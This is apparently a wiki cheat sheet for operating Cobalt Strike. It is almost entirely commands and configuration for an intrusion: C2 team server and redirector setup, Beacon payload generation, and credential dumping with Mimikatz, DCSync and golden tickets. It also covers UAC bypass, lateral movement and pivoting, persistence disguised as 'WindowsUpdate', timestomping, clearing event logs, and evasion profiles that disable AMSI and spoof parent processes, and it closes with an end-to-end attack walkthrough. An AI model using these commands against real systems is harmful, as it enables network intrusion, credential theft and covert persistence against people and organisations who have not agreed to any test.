Cobalt Strike Wiki

┌──────────────────────────────────────────────────────────┐
│               Cobalt Strike Client (GUI)                 │
│  Aggressor Scripts loaded here — Sleep language engine   │
│  Connects over SSL on port 50050 (default)               │
└───────────────────────┬──────────────────────────────────┘
                        │  SSL (operator connection)
                        ▼
┌──────────────────────────────────────────────────────────┐
│                  Team Server (Linux)                     │
│  ./teamserver <IP> <password> [malleable_profile]        │
│  Holds all session state, loot, credentials, logs        │
│  Listener jobs run here (HTTP/HTTPS/DNS/SMB/TCP)         │
└──────┬────────────────────────────────────────┬──────────┘
       │  HTTP/HTTPS egress C2                  │  DNS C2
       ▼                                        ▼
┌─────────────┐                        ┌─────────────────┐
│ Redirector  │ ← nginx/Apache/socat   │  NS Delegation  │
│ (VPS)       │   mod_rewrite rules    │  (public DNS)   │
└──────┬──────┘                        └────────┬────────┘
       │                                        │
       ▼                                        ▼
┌─────────────────────────────────────────────────────────┐
│            Beacon (implant on compromised host)         │
│  Asynchronous check-in / task retrieval                 │
│  Peer-to-peer links to other Beacons via SMB / TCP      │
└─────────────────────────────────────────────────────────┘

# Unpack the distribution
tar -xzf cobaltstrike-dist.tgz
cd cobaltstrike/

# Download updates from Fortra's update server (requires license key)
./update

# Verify what was downloaded
ls -la
# -> teamserver    (bash launcher)
# -> cobaltstrike  (client launcher)
# -> agscript      (headless aggressor script runner)
# -> c2lint        (profile validator)
# -> ...

# Basic startup (always run as root or with appropriate capability for port binding)
sudo ./teamserver <external_IP> <password>

# With a Malleable C2 profile (recommended for real engagements)
sudo ./teamserver <external_IP> <password> /path/to/your.profile

# With a kill date (Beacons generated during this session self-destruct after this date)
sudo ./teamserver <external_IP> <password> /path/to/your.profile 2025-12-31

# Example
sudo ./teamserver 203.0.113.10 "S3cur3P@ssw0rd!" /opt/profiles/jquery-c2.profile

# Bind the team server's operator port to localhost only, then SSH tunnel to it
# On the team server:
sudo ./teamserver 127.0.0.1 "password" /path/to/profile
# (listeners still bind to 0.0.0.0 for incoming Beacon connections)

# On the operator machine:
ssh -L 50050:127.0.0.1:50050 user@teamserver-ip
# Then connect the CS client to 127.0.0.1:50050

# iptables to restrict who can hit listener ports
iptables -A INPUT -p tcp --dport 443 -s <redirector_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP

# GUI client (standard)
./cobaltstrike

# Then fill in:
# Host: <team server IP or 127.0.0.1 if SSH-tunneled>
# Port: 50050
# Username: <your operator alias — shown in team chat and logs>
# Password: <the password you set when starting teamserver>

# Headless Aggressor Script runner (run scripts without the GUI)
./agscript <host> <port> <user> <password> /path/to/script.cna

Cobalt Strike → Listeners → Add
  Name:        http_main
  Payload:     windows/beacon_http/reverse_http
                 OR
               windows/beacon_https/reverse_https
  HTTP Hosts:  <redirector_domain_or_IP>
  HTTP Port:   80 (or 443 for HTTPS)
  Beacons:     (leave blank unless you need a different check-in host)

Payload:  windows/beacon_dns/reverse_dns_txt
  DNS Hosts:  <domain_you_control_NS_records_for>
  DNS Port:   53 (UDP)
  DNS Idle:   <IP to return when no task is pending — blend in with legit responses>
  DNS Stager: <subdomain prefix for staged payload delivery>
  DNS TXT Record: (check to use TXT records instead of A records — higher bandwidth)

# In your DNS zone:
c2ns.example.com.    IN   A      203.0.113.10    # team server or redirector
poll.c2.example.com. IN   NS     c2ns.example.com.

# Beacon's check-in format becomes:
# <encoded_data>.poll.c2.example.com  → A query
# Response: <encoded_task> encoded in DNS A record or TXT record

Payload:  windows/beacon_smb/bind_pipe
  Pipe Name:  <custom_pipe_name>    # default: msagent_XXXX — change this

Payload:  windows/beacon_tcp/bind_tcp
  Port:   <local_port_the_TCP_beacon_binds>
  Loopback Only: ☐ (uncheck for cross-host connectivity)

Attacks → Packages      → all payload format types above
Attacks → Web Drive-by  → Scripted Web Delivery (host a PowerShell/Python/bitsadmin one-liner)
                        → System Profiler (map client-side attack surface)
                        → Clone Site (clone a target's site for phishing)
                        → Manage (manage hosted content on the team server's built-in web server)
Attacks → Spear Phish   → craft and send phishing emails using a saved email template

View → Sessions          — table of all active Beacon sessions
View → Targets           — host-centric view (right-click targets to jump/interact)
Cobalt Strike → Visualization → Pivot Graph   — graphical peer-to-peer chain diagram
Cobalt Strike → Visualization → Session Table — same as View → Sessions

beacon> help                   # list all commands with brief description
beacon> help <command>         # detailed help for a specific command
beacon> sleep 30               # check in every 30 seconds
beacon> sleep 60 20            # check in every 60s with 20% jitter (range: 48–72s)
beacon> sleep 0                # interactive mode — check in as fast as possible
beacon> checkin                # force an immediate check-in (does not change sleep)
beacon> clear                  # cancel all pending queued tasks
beacon> jobs                   # list running background jobs (keylogger, screenshots, etc.)
beacon> jobkill <job_id>       # kill a specific background job
beacon> exit                   # terminate this Beacon (sends kill command to the implant)

# Identity
getuid                      # Current user and domain (native API, no whoami spawn)
getpid                      # Beacon's own PID
getprivs                    # List current process privileges (uses OpenProcessToken)

# Host info
ps                          # List running processes with PID, PPID, user, session, arch
net localgroup              # Local groups
net localgroup administrators   # Members of local Administrators
net user                    # Local users
net domain                  # Domain name the host is joined to
net dclist                  # List domain controllers for the current domain
net share                   # List SMB shares on the local host
net view                    # Hosts visible in the current domain/workgroup
net computers               # Computers in the domain

# Network
ipconfig                    # Network interfaces and IPs (native, not shell ipconfig)
arp                         # ARP cache
route                       # Routing table

# File system info
drives                      # List available drives
ls [path]                   # List directory — defaults to current working directory
pwd                         # Print working directory

ls [path]                   # List directory contents
cd <path>                   # Change directory
mkdir <path>                # Create directory
rm <path>                   # Remove file or directory
cp <src> <dst>              # Copy file
mv <src> <dst>              # Move/rename file

# File transfer
upload /local/path/file     # Upload file from operator machine to target
download <remote_path>      # Download file from target to operator machine
                            # (delivered to ~/cobaltstrike/downloads/)

# Timestamps
timestomp <target_file> <reference_file>   # Copy timestamps from reference → target

# Command execution — choose carefully based on OPSEC requirements

# OPSEC WORST — spawns cmd.exe as child process
shell <command>             # Execute via cmd.exe /c <command>

# Better — spawns powershell.exe
powershell <command>        # Execute via powershell.exe -nop -w hidden -c <command>
powerpick <command>         # Execute PowerShell via unmanaged runspace (no powershell.exe spawn)

# OPSEC BEST — execute in-process via BOF (no new process)
inline-execute <bof_file> [args]    # Run a BOF directly in Beacon's memory

# Execute .NET assembly in Beacon's process (Fork & Run into spawnto process)
execute-assembly <local_path_to.exe> [args]

# Run a shell command and return output (fork & run)
run <command>               # Run a command without cmd.exe — arguments passed directly

# Process management
kill <PID>                  # Kill a process by PID
ppid <PID>                  # Set fake parent PID for all spawned processes (PPID spoofing)
                            # Use: ppid <PID_of_legit_process> then shell/powershell

# spawnto — controls what process "Fork & Run" uses for temporary jobs
spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe

# Spawn a new Beacon in a different process
spawn <listener>            # Spawn a new session via the configured spawnto process
spawnas DOMAIN\user password <listener>   # Spawn as another user (disk touch — runs EXE)
spawnu <PID> <listener>     # Spawn into the security context of another process (no creds needed)

# Inject shellcode into an existing process
inject <PID> x64 <listener>    # Inject a Beacon stager into a running process

# Fork & Run (default for many post-ex commands)
# CS spawns a temp process (spawnto), injects a reflective DLL, runs it, kills it
# Noisy: creates process, may RWX memory; mitigated by customizing spawnto

# Explicit injection into a specific existing PID
shinject <PID> x64 /path/to/shellcode.bin   # inject raw shellcode into a running PID
shspawn x64 /path/to/shellcode.bin          # spawn a new process and inject shellcode

# PowerShell in-process (no powershell.exe)
psinject <PID> x64 <powershell_command>     # run PowerShell inside an existing process

# .NET assembly
execute-assembly /path/to/Assembly.exe [args]   # runs via Fork & Run (spawnto process)

# In-process shellcode (run in Beacon's own thread — stable but kills Beacon on crash)
# Use via: inline-execute <bof.o> [args]

# DLL injection
dllinject <PID> /path/to/dll.dll            # inject a DLL via WriteProcessMemory + CreateRemoteThread
dllload <PID> /path/on_target/dll.dll       # load a DLL that's already on disk on the target

# Hash / password dump
hashdump                    # Dump local SAM hashes (Fork & Run → LSASS read via Mimikatz)
logonpasswords              # Mimikatz sekurlsa::logonpasswords — plaintext + NTLM from LSASS
                            # OPSEC: very loud; touches LSASS; triggers most AV/EDR

# Targeted LSASS access
mimikatz sekurlsa::logonpasswords   # full mimikatz invocation via Beacon's built-in loader
mimikatz lsadump::sam               # SAM database dump
mimikatz lsadump::dcsync /user:krbtgt /domain:corp.local   # DCSync for krbtgt
mimikatz lsadump::lsa /patch        # LSA secrets

# DCSync (no LSASS touch — uses domain replication APIs over the network)
dcsync [DOMAIN] [DOMAIN\user]       # Replicates target account's password data from a DC
                                    # Requires Domain Admin or equivalent; no touch on DC's LSASS

# Credentials view and management
credentials                 # View the team server's credential store (shared across operators)

# Check current elevation
getuid                      # Shows if running as SYSTEM or if token is elevated

# GetSystem — several techniques to attempt SYSTEM from local admin
getsystem                   # Try all built-in GetSystem techniques
                            # Technique 1: Named pipe impersonation (service writes to pipe; Beacon impersonates)
                            # Technique 2: Token duplication from a SYSTEM process
                            # OPSEC: Creates a service; triggers SYSTEM_NAME pipe events

# UAC Bypass — spawns elevated session (user must be in Administrators group)
elevate uac-rpc-dom <listener>        # RPC/debug object UAC bypass — Windows 10 through 11 25H2
elevate uac-token-duplication <listener>   # Token duplication bypass
runasadmin uac-rpc-dom <command>      # Same bypass but runs a command instead of spawning session
runasadmin uac-token-duplication <command>

# Elevate Kit — load additional elevate modules via Aggressor Script
# Community elevate modules: EfsPotato, PrintSpoofer, RottenPotato variants, etc.
# After loading: elevate <module_name> <listener>

# Check if running high integrity
run whoami /groups | findstr /i "S-1-16-12288"   # High mandatory level = elevated

# Steal a token from a running process
steal_token <PID>           # Impersonate the security token of a running process
                            # Requires process to be accessible; works without SeDebugPrivilege
                            # for same-user processes
rev2self                    # Revert to original token (undo steal_token / make_token)

# Create a token from credentials (network logon — does not change local context)
make_token DOMAIN\user password     # Creates a NETONLY logon session
                                    # Local commands still run as original user
                                    # Network authentication uses the new token
                                    # OPSEC: Event ID 4624 (type 9 = NewCredentials)

# Impersonate via credentials with a new process
runas DOMAIN\user password <command>   # Spawn command as a different user (disk touch — drops artifact)
spawnas DOMAIN\user password <listener>  # Spawn a Beacon as a different user

# Create sacrificial process as another user's security context (no creds — based on process token)
spawnu <PID> <listener>     # Spawn Beacon in the identity of the process at <PID>

# Pass-the-Hash
pth DOMAIN\user <NTLM_hash>         # Use Mimikatz to apply hash; creates new logon session
                                    # Spawns temp process + Mimikatz; Event ID 4624 type 9

# List current tokens and impersonation state
getuid                      # Shows which identity Beacon is running as

# Import and use a Kerberos ticket (Pass-the-Ticket)
kerberos_ticket_use /path/to/ticket.kirbi    # Apply a .kirbi ticket to current logon session
kerberos_ccache_use /path/to/ticket.ccache   # Apply a Linux-format ccache ticket
kerberos_ticket_purge                        # Purge all Kerberos tickets in current session

# Generate tickets via Mimikatz (run within Beacon)
mimikatz kerberos::golden /user:Administrator /domain:corp.local \
  /sid:<domain_SID> /krbtgt:<krbtgt_NTLM> /id:500   # Golden ticket (krbtgt hash required)

mimikatz kerberos::silver /user:targetuser /domain:corp.local \
  /sid:<domain_SID> /target:targethost.corp.local \
  /service:cifs /rc4:<service_account_NTLM>          # Silver ticket

# Over-Pass-the-Hash (use hash to obtain a valid TGT, then use that for Kerberos auth)
mimikatz sekurlsa::pth /user:Administrator /ntlm:<hash> /domain:corp.local /run:powershell.exe

# List available jump modules
jump

# Typical output:
# psexec          x86  Use a service to run a payload on a target
# psexec64        x64  Use a service to run a payload on a target
# psexec_psh      x86  Use a PowerShell one-liner to run a payload on a target
# winrm           x86  Run a PowerShell script via WinRM to deploy a payload
# winrm64         x64  Run a PowerShell script via WinRM to deploy a payload
# wmi             x86  Use WMI to run a PowerShell script on a target
# wmi64           x64  Use WMI to run a PowerShell script on a target

# Jump — deploys and auto-links a Beacon on a remote host
jump psexec64 <target_hostname_or_IP> <listener_name>
jump winrm64 <target_hostname_or_IP> <listener_name>    # quieter — WinRM, Event ID 4624 type 3
jump wmi <target_hostname_or_IP> <listener_name>
jump psexec_psh <target_hostname_or_IP> <listener_name>  # PSExec via PowerShell one-liner, no EXE drop

# remote-exec — run a command on a remote host (no new session spawned)
remote-exec                 # list available modules
remote-exec psexec <target> <command>
remote-exec winrm <target> <command>
remote-exec wmi <target> <command>

# GUI-driven lateral movement
# View → Targets → right-click [target] → Jump → [select module]
# Fill in credentials/token choice + listener, press Launch

SMB Pivot Architecture:
┌──────────────────────────────────────────────────┐
│  TEAM SERVER  ◄──── HTTPS ────  HOST A (parent)  │
│                                    │              │
│                           named pipe (SMB)        │
│                                    │              │
│                               HOST B (peer)       │
│                               (no egress needed)  │
└──────────────────────────────────────────────────┘

# Step 1: Lateral move to HOST B with an SMB Beacon payload
jump psexec64 hostB smb_listener
# ^ Cobalt Strike auto-links the SMB Beacon for you in most cases

# Step 2: If you deployed the SMB Beacon manually, link it from a parent Beacon
beacon> link hostB                          # auto-detect pipe name from listener
beacon> link hostB \\.\pipe\custom_pipename  # specify pipe name if custom

# Step 3: Check the Pivot Graph
# Cobalt Strike → Visualization → Pivot Graph
# Orange arrow = named pipe (SMB) connection
# Green dashed = HTTP/HTTPS egress

# Step 4: Interact with the linked Beacon (appears in session table)

# Delink (doesn't kill — puts SMB Beacon in a waiting state)
beacon> unlink hostB <PID>          # PID = the SMB Beacon's process ID
# Later re-link from any Beacon in the same CS instance
beacon> link hostB

# TCP Beacon (works the same but with TCP socket instead of named pipe)
jump psexec64 hostB tcp_listener
beacon> connect hostB <port>        # manual connection to a waiting TCP Beacon
beacon> unlink hostB <PID>          # same unlink mechanic

# Kill a peer Beacon completely
beacon> (in child beacon) exit

# SOCKS4a proxy (older — widely supported by proxychains)
socks 1080                  # Start SOCKS4a proxy on team server, port 1080
socks stop                  # Stop it

# SOCKS5 proxy (newer, more features)
socks 1080 socks5           # Start SOCKS5 on port 1080
socks 1080 socks5 enableNoAuth                 # No auth (default)
socks 1080 socks5 userpass <username> <pass>   # With authentication

# Check active SOCKS proxies
socks                       # (no args) — list active proxies

# Port forwarding — forward a specific port
# rportfwd: bind a port on the TARGET, forward it back to the team server → anywhere
rportfwd <bind_port_on_target> <fwd_host> <fwd_port>
# Example: bind port 8080 on the target, forward to 192.168.1.5:80
rportfwd 8080 192.168.1.5 80

# rportfwd_local: forward to the operator machine rather than team server
rportfwd_local <bind_port_on_target> <fwd_host> <fwd_port>

# List and stop port forwards
rportfwd                    # list active forwards
rportfwd stop <bind_port>   # stop a specific forward

# Use SOCKS proxy with your tools:
# /etc/proxychains4.conf:
socks4  127.0.0.1  1080     # SOCKS4a, or:
socks5  127.0.0.1  1080     # SOCKS5

proxychains nmap -sT -Pn -p 445,80,443,3389,22 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24 -u admin -H <NTLM>
proxychains impacket-secretsdump CORP/admin@192.168.1.10
proxychains evil-winrm -i 192.168.1.10 -u admin -p 'password'
proxychains xfreerdp /u:admin /p:password /v:192.168.1.10

# Registry Run key (via shell)
shell reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
  /v "WindowsUpdate" /t REG_SZ /d "C:\ProgramData\agent.exe" /f

# Scheduled task (via shell)
shell schtasks /create /tn "WindowsUpdate" /tr "C:\ProgramData\agent.exe" \
  /sc onlogon /ru SYSTEM /f

# Service (via shell)
shell sc create WindowsUpdate binPath= "C:\ProgramData\agent.exe" start= auto
shell sc start WindowsUpdate

# WMI subscription (requires domain admin or elevated)
shell powershell Set-WMIInstance -Class __EventFilter ...   # (standard WMI persistence)

# Persistence via Aggressor/BOF extensions:
# elevatekit, persistence-aggressor-script, SharPersist (execute-assembly)
execute-assembly /opt/SharPersist/SharPersist.exe \
  -t reg -c "C:\ProgramData\agent.exe" -n "WindowsUpdate" -m add

# Query a registry key
reg query HKLM\System\CurrentControlSet\Services

# Query a specific value
reg queryv HKLM\Software\Microsoft\Windows\CurrentVersion\Run "program_name"

# Write a value (via shell or powershell — no native beacon reg write command)
shell reg add HKLM\path\to\key /v ValueName /t REG_SZ /d "value" /f

# Copy timestamps from a reference file to a target file
timestomp <target_file> <reference_file>
# Example — make an uploaded implant look as old as notepad.exe
timestomp C:\ProgramData\implant.exe C:\Windows\System32\notepad.exe

# Clear event log (via shell — loud, but sometimes needed)
shell wevtutil cl System
shell wevtutil cl Security
shell wevtutil cl Application
shell wevtutil cl "Microsoft-Windows-PowerShell/Operational"

sleep <seconds> [jitter%]   # Set check-in interval and optional jitter percentage
                            # sleep 0 = interactive (poll as fast as possible)
                            # sleep 60 20 = 60s ±20% (range: 48–72s)

checkin                     # Immediate check-in without changing the sleep timer
clear                       # Cancel all pending queued tasks

# PPID spoofing — all processes spawned by Beacon will appear to have this parent
ppid <PID>                  # Set fake parent PID (pick a believable process, e.g. explorer.exe)
ppid 0                      # Reset to default (no PPID spoofing)

# Process name injection point override
spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe

# Blocking dlls / ETW patching
blockdlls start             # Block non-Microsoft-signed DLLs from loading into Fork & Run processes
blockdlls stop

# Environment / config
setenv <var> <value>        # Set an environment variable
getenv                      # Get environment variables
note <text>                 # Set an operator note on this session (visible in session table)

# Network / session ops
jobs                        # List running jobs (keylogger, screenshot, etc.)
jobkill <job_id>            # Kill a running job
exit                        # Terminate Beacon

# Global options — apply to everything
set sleeptime "60000";      # Default sleep in ms (60s)
set jitter     "20";        # Jitter percentage
set maxdns     "255";       # Max DNS hostname length for DNS beacon
set useragent  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set pipename   "mojo.5688.8052.183894939787088877";   # Default SMB pipe name (CHANGE THIS)
set tcp_port   "4444";      # Default TCP Beacon port

# HTTP check-in behavior
http-get {
    set uri "/search";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Host" "www.google.com";
        metadata {
            base64url;
            parameter "q";      # Beacon ID/session metadata goes in ?q= parameter
        }
    }

    server {
        header "Content-Type" "text/html";
        output {
            base64;
            print;             # Encoded task goes in the response body
        }
    }
}

# HTTP post (Beacon sends task output back to team server)
http-post {
    set uri "/collect";

    client {
        header "Content-Type" "application/x-www-form-urlencoded";
        id {
            parameter "sid";   # Beacon ID in POST parameter
        }
        output {
            base64url;
            parameter "data";  # Task output in POST body parameter
        }
    }

    server {
        header "Content-Type" "text/html";
        output {
            print;
        }
    }
}

stage {
    set userwx           "false";     # Don't use RWX memory — use RW then RX (better)
    set cleanup          "true";      # Remove reflective loader from memory after load
    set sleep_mask       "true";      # Enable sleep obfuscation (requires Sleepmask Kit)
    set stomppe          "true";      # Stomp PE headers after loading
    set obfuscate        "true";      # XOR the Beacon payload while staging
    set smartinject      "true";      # Use PIC address for Beacon's base address in memory
    set allocator        "HeapAlloc"; # Memory allocator: HeapAlloc, MapViewOfFile, VirtualAlloc

    # Spoof PE headers to look like a legitimate DLL
    transform-x64 {
        strrep "ReflectiveLoader" "";   # Remove this string from the binary
        strrep "beacon.dll" "";
    }
    transform-x86 {
        strrep "ReflectiveLoader" "";
    }

    # Specify a DLL whose headers Beacon will copy (looks like a real DLL in memory)
    set module_x64 "xpsservices.dll";
    set module_x86 "xpsservices.dll";

    # Process to spawnto for Fork & Run operations
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
}

process-inject {
    set allocator "NtMapViewOfSection";   # Memory allocation API (VirtualAllocEx, NtMapViewOfSection)
    set min_alloc "16700";               # Minimum allocation size in bytes

    transform-x64 {
        prepend "\x90\x90\x90\x90";     # Add NOP sled before shellcode
    }
    transform-x86 {
        prepend "\x90\x90\x90\x90";
    }

    # Execution method — how to start shellcode after injecting it
    execute {
        CreateThread;                   # Use CreateRemoteThread (classic, loudest)
        SetThreadContext;               # Suspend + SetThreadContext + Resume (quieter)
        NtQueueApcThread-s;             # APC injection (alertable thread required)
        CreateRemoteThread;             # Standard WINAPI
        RtlCreateUserThread;            # Undocumented NT API
    }
}

post-ex {
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set obfuscate   "true";            # Obfuscate post-ex DLLs in memory
    set smartinject "true";
    set amsi_disable "true";           # Patch AMSI in fork'd processes (PowerShell jobs)
    set keylogger "GetAsyncKeyState";  # Keylogging API
    set cleanup    "true";             # (4.9+) Clean up post-ex UDRL after load
}

http-get "variant1" {       # Named variant — select it when creating a listener
    set uri "/api/v1/data";
    # ... custom transforms for this listener
}

http-post "variant1" {
    set uri "/api/v1/upload";
    # ...
}

# Basic syntax check
./c2lint /path/to/profile.profile

# Verbose check — shows what transforms would produce on a sample payload
./c2lint -v /path/to/profile.profile

# c2lint returns 0 on pass, non-zero on error.
# Fix all errors and warnings before loading into teamserver.

# Load scripts via GUI
Cobalt Strike → Script Manager → Load → select your .cna file

# Load at client startup (append to one-liner)
./cobaltstrike & /path/to/startup.cna

# Headless execution
./agscript <host> <port> <user> <password> /path/to/script.cna

# Register a new Beacon command alias
alias mycommand {
    local('%args $bid');
    $bid = $1;                          # Beacon ID is always first argument
    %args = @_;

    btask($bid, "Running mycommand");   # Log in team chat

    # Execute a Beacon command
    bshell($bid, "whoami /all");        # Execute via cmd.exe
    bpowerpick($bid, "Get-Process");    # Execute via unmanaged PowerShell

    # Execute a BOF
    $data = bof_pack($bid, "z", "argument");
    beacon_inline_execute($bid, $data, "go", "argument");
}

# Hook into payload generation
set BEACON_RDLL_GENERATE {
    # intercept and modify the reflective DLL before it's placed in a payload
}

# Event handlers
on beacon_initial {
    local('$bid');
    $bid = $1;
    btask($bid, "New beacon! Running initial recon...");
    bgetuid($bid);
    bpwd($bid);
}

# Download Arsenal Kit (requires valid license — download from Help → Arsenal in GUI)
# After download:
cd arsenal-kit/
cat arsenal_kit.config       # configure which kits to build
./build_arsenal_kit.sh       # compile everything
# Output: arsenal_kit.cna + supporting artifacts

# Load the single arsenal_kit.cna in the GUI
# Cobalt Strike → Script Manager → Load → arsenal_kit.cna

# Configure in arsenal_kit.config
include_artifact_kit="true"

# After build, the artifact kit compiles to:
# dist-artifact/   → custom artifact binaries
# These are automatically picked up by arsenal_kit.cna

include_udrl_kit="true"   # in arsenal_kit.config

# UDRL-VS: Visual Studio project templates for UDRL development
# Hooks: BEACON_RDLL_GENERATE (for Beacon payloads)
#        POSTEX_RDLL_GENERATE (for post-ex DLLs, new in 4.9)

include_sleepmask_kit="true"

# Requires: set sleep_mask "true"; in profile's stage block
# Sleepmask-VS: same as UDRL-VS — Visual Studio templates for custom Sleepmask BOFs

include_resource_kit="true"

include_process_inject_kit="true"

# Run a BOF from the Beacon console
inline-execute /path/to/bof.o [args]

# BOF packing (from Aggressor Script — typed args)
# "b" = binary blob, "z" = zero-terminated string, "i" = 32-bit int, "s" = 16-bit short
$data = bof_pack($bid, "zi", "hostname", 80);

# Run a BOF in-process via Aggressor Script
beacon_inline_execute($bid, $data, "go", $args);

# Operator 1 connects:
./cobaltstrike → host: teamserver_IP, port: 50050, user: "op1", password: "..."

# Operator 2 connects (same server, different alias):
./cobaltstrike → host: teamserver_IP, port: 50050, user: "op2", password: "..."

View → Event Log            # Shared team chat and event log (every action logged here)
View → Credentials          # Shared credential store (all operators see each other's dumps)
View → Downloads            # Files downloaded from Beacons
View → Keystrokes           # Keylogger output
View → Screenshots          # Screenshot captures
View → Targets              # Shared host/network map

# Team chat (in the Event Log console)
say <message>               # Send a message to all operators

# /etc/apache2/sites-enabled/cs-redirector.conf
<VirtualHost *:443>
    SSLEngine on
    SSLCertificateFile    /etc/letsencrypt/live/example.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem

    # Only proxy requests with the right URI pattern
    RewriteEngine On
    RewriteCond %{REQUEST_URI} ^/(search|collect|api/v1)
    RewriteRule ^/(.*)$ https://TEAMSERVER_IP:443/$1 [P,L]

    # Block everything else (return decoy content or 404)
    RewriteRule ^/(.*)$ https://decoy.com/$1 [P,L]
</VirtualHost>

server {
    listen 443 ssl;
    ssl_certificate     /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;

    location ~* ^/(search|collect) {
        proxy_pass https://TEAMSERVER_IP;
        proxy_ssl_verify off;
    }

    location / {
        return 404;
    }
}

# On the redirector — forward DNS UDP to team server
socat udp4-listen:53,reuseaddr,fork UDP:TEAMSERVER_IP:53

# Or via SSH tunnel (more stable)
# On team server:
ssh user@redirector -R 5353:127.0.0.1:53
# On redirector:
socat udp4-listen:53,reuseaddr,fork tcp:localhost:5353

In the Malleable C2 profile:
http-get {
    client {
        header "Host" "yourorg.azureedge.net";     # CDN hostname (fronting domain)
    }
}

# In the listener:
# HTTP Hosts: cdn.microsoft.com (or any CDN domain that fronts your endpoint)
# Actual routing: CDN → your real server via CDN's backend routing

# 1. Start the team server
sudo ./teamserver 203.0.113.10 "S3cur3P@ss" /opt/profiles/jquery-c2.profile

# 2. Connect the client and set up a listener
# Attacks → Listeners → Add → HTTPS → domain: redir.example.com, port: 443

# 3. Generate a stageless payload
# Attacks → Packages → Windows Executable (S) → select listener → output to /tmp/payload.exe

# 4. Deliver to target (phishing, exploit, supply chain — engagement specific)

# 5. Once Beacon checks in — initial recon
beacon> sleep 30 20              # slow down first
beacon> getuid                   # who am I?
beacon> getprivs                 # what privileges?
beacon> ps                       # what's running? (spot EDR, find targets)
beacon> ipconfig                 # what network am I on?
beacon> net dclist               # where are the DCs?
beacon> net domain               # domain name

# 6. Set PPID spoofing before doing anything noisier
beacon> ppid <PID_of_explorer.exe>
beacon> spawnto x64 %windir%\sysnative\dllhost.exe

# Assume: Beacon running as local admin (from step above)

# Option A: DCSync (quieter — network-based, no LSASS touch on the workstation)
# Requires domain admin or privileges to replicate
beacon> make_token CORP\DomainAdmin Password1   # get a domain admin token first
beacon> dcsync CORP.LOCAL CORP\krbtgt           # replicate krbtgt hash from DC

# Option B: hashdump (local SAM only — admin required)
beacon> hashdump

# Option C: logonpasswords (LSASS — loudest)
beacon> logonpasswords

# Lateral move to DC using domain admin token
beacon> make_token CORP\Administrator <NTLM_or_password>
beacon> jump winrm64 DC01.corp.local smb_listener
# → new Beacon on DC01 via SMB named pipe, linked through current Beacon

# Topology: Internet → redirector → TeamServer
#           TeamServer ← HTTPS ← HOST_A (perimeter, egress)
#           HOST_A ← SMB ← HOST_B (internal, no egress)
#           HOST_B ← SMB ← HOST_C (deep internal)

# Step 1: On HOST_A, generate an SMB Beacon payload for HOST_B
# Attacks → Packages → Windows Executable (S) → listener: smb_internal → save smb_b.exe
beacon_a> upload /tmp/smb_b.exe
beacon_a> shell copy smb_b.exe \\HOST_B\C$\Windows\Temp\smb_b.exe
beacon_a> shell sc \\HOST_B create "WindowsUpdate" binPath= "C:\Windows\Temp\smb_b.exe" start= auto
beacon_a> shell sc \\HOST_B start "WindowsUpdate"

# CS auto-links if using jump psexec:
beacon_a> jump psexec64 HOST_B smb_internal
# → linked Beacon on HOST_B appears in session table

# Step 2: From HOST_B, pivot deeper to HOST_C
beacon_b> jump psexec64 HOST_C smb_internal
# → HOST_C is now accessible, traffic flows HOST_C → HOST_B → HOST_A → redirector → teamserver

# Pivot Graph view:
# Cobalt Strike → Visualization → Pivot Graph

# Start SOCKS on a Beacon session
beacon> socks 1080

# Configure proxychains
echo "socks4  127.0.0.1  1080" >> /etc/proxychains4.conf

# Run your tools through it
proxychains nmap -sT -Pn -p 22,80,135,139,389,443,445,1433,3389,5985 192.168.10.0/24
proxychains crackmapexec smb 192.168.10.0/24 --shares
proxychains impacket-secretsdump CORP/admin:'password'@192.168.10.5 -just-dc-ntlm
proxychains bloodhound-python -u admin -p password -d corp.local -dc DC01.corp.local \
  -c All --zip

sudo ./teamserver <ext_IP> <password>
sudo ./teamserver <ext_IP> <password> /opt/profiles/profile.profile
sudo ./teamserver <ext_IP> <password> /opt/profiles/profile.profile 2025-12-31
./c2lint /opt/profiles/profile.profile          # validate profile
./agscript <host> 50050 <user> <pass> script.cna  # headless aggressor

./cobaltstrike
# → host: 127.0.0.1 (via SSH tunnel), port: 50050, user: alias, pass: <teamserver_pass>

Cobalt Strike → Listeners → Add
Payload: windows/beacon_https/reverse_https
HTTP Hosts: redir.example.com
HTTP Port: 443

Attacks → Packages → Windows Executable (S)   # stageless EXE
Attacks → Packages → Windows Shellcode (S)    # stageless shellcode
Attacks → Web Drive-by → Scripted Web Delivery  # PowerShell one-liner

sleep 60 20             # 60s ± 20% jitter
ppid <explorer_PID>     # PPID spoofing
spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe
blockdlls start         # block non-MS DLLs from fork'd processes

getuid
getprivs
ps
ls
pwd
drives
ipconfig
arp
net dclist
net domain
net localgroup administrators

hashdump                                            # local SAM hashes
logonpasswords                                      # LSASS dump (noisy)
dcsync CORP.LOCAL CORP\krbtgt                      # DCSync (quiet)
dcsync CORP.LOCAL CORP\Administrator
mimikatz lsadump::dcsync /user:krbtgt /domain:corp.local

make_token CORP\user password        # network-only token
steal_token <PID>                    # impersonate a running process
rev2self                             # revert token
pth CORP\user <NTLM_hash>           # pass-the-hash

kerberos_ticket_use /path/to/admin.kirbi
kerberos_ccache_use /path/to/ticket.ccache
kerberos_ticket_purge
mimikatz kerberos::golden /user:Administrator /domain:corp.local \
  /sid:<SID> /krbtgt:<hash> /id:500

getsystem                            # all GetSystem techniques
elevate uac-rpc-dom <listener>       # UAC bypass (spawn new session)
runasadmin uac-rpc-dom <command>     # UAC bypass (run command)

# Set token first
make_token CORP\user password

# Jump (deploys + auto-links)
jump winrm64 TARGET listener          # quietest
jump wmi TARGET listener              # moderate
jump psexec64 TARGET listener         # loudest
